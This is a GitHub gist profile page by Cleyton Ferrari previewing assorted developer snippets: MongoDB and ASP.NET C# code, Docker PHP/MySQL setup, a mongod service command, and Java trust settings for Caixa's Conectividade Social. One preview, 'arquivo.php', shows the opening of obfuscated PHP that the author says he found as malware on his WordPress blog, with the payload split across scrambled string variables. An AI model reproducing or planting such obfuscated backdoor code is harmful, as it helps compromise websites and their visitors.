Skip to content

Instantly share code, notes, and snippets.

View cleytonferrari's full-sized avatar

Cleyton Ferrari cleytonferrari

View GitHub Profile
@cleytonferrari
cleytonferrari / controller.cs
Created September 21, 2015 15:41
Exemplo de uso do MongoDB.Driver 2.0.0
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using System.Web;
using System.Web.Mvc;
using MongoDB.Driver;
using M101DotNet.WebApp.Models;
using M101DotNet.WebApp.Models.Home;
using MongoDB.Bson;
@cleytonferrari
cleytonferrari / Login.cshtml
Last active January 23, 2018 20:15
Exemplo de uso de Claims com ASP .Net identity
@model LoginClaims.Controllers.LoginViewModel
@{
ViewBag.Title = "Login";
}
<h2>Login</h2>
<p>@ViewBag.erro</p>
<form action="" method="POST">
@cleytonferrari
cleytonferrari / README.md
Last active April 20, 2017 14:34
Configuração de ambiente PHP

Ambiente PHP / MySQL

Exemplo de configuração do Docker para ambiente PHP / MySQL

1. Criar a estrutura de diretorios e arquivos

c:\> mkdir PHP
c:\> mkdir PHP\www

No diretorio PHP adicione o arquivo Dockerfile

@cleytonferrari
cleytonferrari / mongo.txt
Created April 20, 2017 11:36
Instalar o mongo como serviço
c:> mongod --install --dbpath d:\data\db --logpath d:\data\logs\log.txt --logappend --bind_ip 127.0.0.1 --directoryperdb
@cleytonferrari
cleytonferrari / docker-compose.yml
Created April 13, 2017 21:25
Exemplo de compose php, mysql, phpmyadmin
# http://www.phprs.com.br/2016/05/criando-um-ambiente-de-desenvolvimento-php-com-docker-compose/
# http://yutaf.github.io/run-phpmyadmin-in-docker-compose/
# uso:
# php http://localhost/
# phpMyAdmin http://localhost:8080/
php:
build: ../
ports:
@cleytonferrari
cleytonferrari / BundleConfig.cs
Created February 5, 2013 21:53
Código do post em meu blog
bundles.Add(new ScriptBundle("~/bundles/jqueryval").Include(
"~/Scripts/jquery.unobtrusive*",
"~/Scripts/jquery.validate*",
"~/Scripts/methods_pt.js"));
@cleytonferrari
cleytonferrari / ConectividadeSocial.txt
Created September 1, 2016 20:14
configurações pra funcionar o conectividade social ICP
##Adicione esses sites nas lista confiaveis do Java
http://caixa.gov.br/
http://conectividade.caixa.gov.br/
https://conectividade.caixa.gov.br/
https://conectividade.caixa.gov.br/registro/registrar.m?tkeut=2872728090006ea71ce431cdab2ab7afa7de75254a6ae07a6bb3a840cc18bb16e84dde9ded5e0a7f6a297fd244afa9f7d18a895b6474ff34f73760b1705597925732effb6d7c01ff952c3cb0b849f35b34f150e00fd86fa0732e962d673ffa190c323a3abd398a9f9898fe280cf84109dfafb761bda8f13f96e528a37c086fa2201402100955290&amp;ticketdata=20140210095529&amp;lcr=0
http://cmt.caixa.gov.br/
http://conectividade.caixa.gov.br:80/static/sicnsregistro/applet/assinar1.jar
http://conectividade.caixa.gov.br:80/static/cxpostal/applet/cnsenvio.jar
http://conectividade.caixa.gov.br:80/static/cxpostal/applet/msgenvio.jar
Um identificador para um objeto foi solicitado.
Requerente:
Identificação de segurança: SERVIDOR\Terminal 02
Nome da conta: Terminal 02
Domínio da conta: SERVIDOR
Identificação de logon: 0x42b60
Objeto:
Servidor de objetos: Security
@cleytonferrari
cleytonferrari / arquivo.php
Created August 15, 2016 20:57
Alguns alrquivo malicioso para o WordPress encontrado no meu Blog
<?php
$existentialism= 'W'; $goblin='raOEN'; $dish ='b';$kain = 'HaRSi'; $everyman ='_i4;a$a'; $blocky= ')'; $fossiliferous ='4j_e$aiG'; $heralds='(Tta?c"'; $flocked='4a';$dipped='3"';$dust ='(';$eastbound ='nr"v$_ccT';$distillers ='vI_DbRca(';
$bullet= '`';$lay ='u';$engagingly = 'H'; $contrastingly='a'; $linux = 'eO;e_Ye';
$carbonized='I(p';$heterogeneity= '(';$bins = 't';$lyssa =')';$coalesces= 'id)0'; $inequality= '=fs';$esteban= '$elE'; $ejaculates = '4sCsZ'; $forfend='=rE';
$diseased= '$';$evasive= 'Kea)(D'; $dazzling ='f';$defendants= '_cqAda';$hydrogen='b';
$circuits='hQ"cJn3,';$emma= 'e'; $gert ='_"Aa(a';$bisexual = 'yeT0_XCl"';$avoidably ='(';$impetus = '0';$austrian='nd(CeLP"';
@cleytonferrari
cleytonferrari / Categoria.cs
Last active August 6, 2016 20:57
Como um simples método pode estourar o uso da CPU do servidor :) 1. Precisava criar o slug da categoria pra usar como URL, para simplificar coloquei no Set da classe; 2. A ignorância começa ai, só uso isso uma vez, já que vai salvo no banco, porem, a cada nova instancia da classe ele processa tudo novamente :)
namespace Eva.Dominio
{
public class Categoria : Entidade
{
private string nome;
public string Nome
{
get { return nome; }
set